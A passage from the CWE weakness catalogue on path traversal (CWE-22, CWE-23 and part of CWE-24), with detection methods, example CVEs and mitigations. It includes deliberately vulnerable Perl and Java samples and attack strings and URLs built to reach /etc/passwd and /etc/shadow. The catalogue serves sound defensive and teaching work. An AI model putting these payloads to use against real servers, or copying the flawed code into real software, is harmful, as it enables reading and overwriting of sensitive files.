According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

**Perl Example:***Bad Code*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Attack*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Result*

```
/users/cwe/profiles../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../../" during path canonicalization and actually accesses this file:

*Result*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

**Example 2:**

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

**Java Example:***Bad Code*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

**Example 3:**

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:***Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Attack*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Result*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Result*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

**Example 4:**

The following code attempts to validate a given input path by checking it against a white list and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe\_dir/".

**Java Example:***Bad Code*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

*Attack*

```
/safe_dir../important.dat
```

The software assumes that the path is valid because it starts with the "/safe\_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

**Example 5:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

**HTML Example:***Good Code*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
```



&lt;/form&gt;

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

**Java Example:**

Bad Code

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

**Observed Examples**

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2009-0244	OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using "../" sequences.
CVE-2009-1936	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
CVE-2009-4013	Software package maintenance program allows overwriting arbitrary files using "../" sequences.
CVE-2009-4053	FTP server allows creation of arbitrary directories using "../" in the MKD command.

Reference	Description
CVE-2009-4194	FTP server allows deletion of arbitrary files using ".." in the DELE command.
CVE-2009-4449	Bulletin board allows attackers to determine the existence of files using the avatar.
CVE-2009-4581	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
CVE-2010-0012	Overwrite of files using a .. in a Torrent file.
CVE-2010-0013	Chat program allows overwriting files using a custom smiley request.
CVE-2010-0467	Newsletter module allows reading arbitrary files using "../" sequences.

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:

- `realpath()` in C
- `getCanonicalPath()` in Java
- `GetFullPath()` in ASP.NET
- `realpath()` or `abs_path()` in Perl
- `realpath()` in PHP

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Operation****Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Architecture and Design****Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [R.22.3] provide this capability.

**Architecture and Design****Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

**Architecture and Design****Operation****Identify and Reduce Attack Surface**

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

**Operation****Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.



















**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf	<b>C</b>	21	Pathname Traversal and Equivalence Errors	<input checked="" type="checkbox"/>	699 29
ChildOf	<b>C</b>	632	Weaknesses that Affect Files or Directories		631 981

Nature	Type	ID	Name	CVSS	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	<b>1000</b>	1106
ChildOf		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	<b>629</b>	1113
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		802	2010 Top 25 - Risky Resource Management	<b>800</b>	1228
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		865	2011 Top 25 - Risky Resource Management	<b>900</b>	1309
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	<b>928</b>	1359
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
<i>CanFollow</i>		20	<i>Improper Input Validation</i>	<i>1000</i>	<i>18</i>
<i>ParentOf</i>		23	<i>Relative Path Traversal</i>	<i>699</i>	<i>40</i>
<i>ParentOf</i>		36	<i>Absolute Path Traversal</i>	<i>1000</i>	<i>64</i>
<i>CanFollow</i>		73	<i>External Control of File Name or Path</i>	<i>1000</i>	<i>109</i>
<i>CanFollow</i>		172	<i>Encoding Error</i>	<i>1000</i>	<i>333</i>
<i>MemberOf</i>		635	<i>Weaknesses Used by NVD</i>	<i>635</i>	<i>983</i>
<i>MemberOf</i>		884	<i>CWE Cross-section</i>	<i>884</i>	<i>1319</i>

### Relationship Notes

Pathname equivalence can be regarded as a type of canonicalization error.

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

### Research Gaps

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "..\" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//..\" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

### Affected Resources

- File/Directory

### Relevant Properties

- Equivalence

### Functional Areas

- File processing

### Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	33		Path Traversal
CERT C++ Secure Coding	FIO02-CPP		Canonicalize path names originating from untrusted sources
Software Fault Patterns	SFP16		Path Traversal

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
23	File System Function Injection, Content Based	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
76	Manipulating Input to File System Calls	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
139	Relative Path Traversal	
213	Directory Traversal	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft. 2002.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing\\_for\\_Path\\_Traversal\\_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.

Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. < <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503.. 1st Edition. Addison Wesley. 2006.

## CWE-23: Relative Path Traversal

Weakness ID: 23 (Weakness Base)

Status: Draft

### Description

#### Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

#### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.



## Integrity

### Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

## Confidentiality

### Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

## Availability

### DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

## Demonstrative Examples

### Example 1:

The following URLs are vulnerable to this attack:

*Bad Code*

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

*Attack*

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

### Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

#### Perl Example:

*Bad Code*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Attack*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Result*

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Result

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

### Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

#### HTML Example:

Good Code

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

#### Java Example:

Bad Code

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
}
```

```

}
...
}
  
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

Reference	Description
CVE-1999-1082	read files via "....." in web server (doubled triple dot?)
CVE-2000-0240	read files via "/...../" in URL
CVE-2000-0773	read files via "...." in web server
CVE-2001-0467	"\\." in web server
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "." in Windows-based FTP server.
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands
CVE-2001-0615	"..." or "...." in chat server
CVE-2001-0963	"..." in cd command in FTP server
CVE-2001-1131	"..." in cd command in FTP server
CVE-2001-1193	"..." in cd command in FTP server
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002.
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL.
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/." sequences, or several "..\" in a URI.
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.
CVE-2002-1987	Protection mechanism checks for "/." but doesn't account for Windows-specific "\\." allowing read of arbitrary files.
CVE-2003-0313	Directory listing of web server using "..."
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a "." or rename arbitrary files via a "..../" in user supplied parameters.
CVE-2004-2121	read files via "....." in web server (doubled triple dot?)
CVE-2005-0202	".../.../" bypasses regexp's that remove "/." and "..\"
CVE-2005-1658	Triple dot
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\\." sequence in an LS command.
CVE-2005-2169	chain: ".../.../" bypasses protection mechanism using regexp's that remove "/." resulting in collapse into an unsafe value "..\" (CWE-182) and resultant path traversal.

### Potential Mitigations

**Implementation**  
**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.








**Implementation**  
**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:

- `realpath()` in C
- `getCanonicalPath()` in Java
- `GetFullPath()` in ASP.NET
- `realpath()` or `abs_path()` in Perl
- `realpath()` in PHP

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	<b>699</b> <b>1000</b>	30
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
ParentOf		24	<i>Path Traversal: './filedir'</i>	<b>699</b> <b>1000</b>	45
ParentOf		25	<i>Path Traversal: '/../filedir'</i>	<b>699</b> <b>1000</b>	46
ParentOf		26	<i>Path Traversal: '/dir/../filename'</i>	<b>699</b> <b>1000</b>	48
ParentOf		27	<i>Path Traversal: 'dir/../../filename'</i>	<b>699</b> <b>1000</b>	49
ParentOf		28	<i>Path Traversal: './filedir'</i>	<b>699</b> <b>1000</b>	51

Nature	Type	ID	Name	V	Page
ParentOf	V	29	Path Traversal: '\..filename'	699 1000	52
ParentOf	V	30	Path Traversal: 'dir\..filename'	699 1000	54
ParentOf	V	31	Path Traversal: 'dir\..\filename'	699 1000	55
ParentOf	V	32	Path Traversal: '...' (Triple Dot)	699 1000	57
ParentOf	V	33	Path Traversal: '....' (Multiple Dot)	699 1000	58
ParentOf	V	34	Path Traversal: '.../'	699 1000	60
ParentOf	V	35	Path Traversal: '.../.../'	699 1000	62
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Relative Path Traversal
Software Fault Patterns	SFP16	Path Traversal

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
23	File System Function Injection, Content Based	
76	Manipulating Input to File System Calls	

### References

OWASP. "OWASP Attack listing". < [http://www.owasp.org/index.php/Relative\\_Path\\_Traversal](http://www.owasp.org/index.php/Relative_Path_Traversal) >.  
 [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503.. 1st Edition. Addison Wesley. 2006.

## CWE-24: Path Traversal: '../filedir'

Weakness ID: 24 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

#### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.



Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		23	Relative Path Traversal	<input checked="" type="checkbox"/>	699 1000 40
ChildOf		981	SFP Secondary Cluster: Path Traversal		888 1384

## Taxonomy Mappings

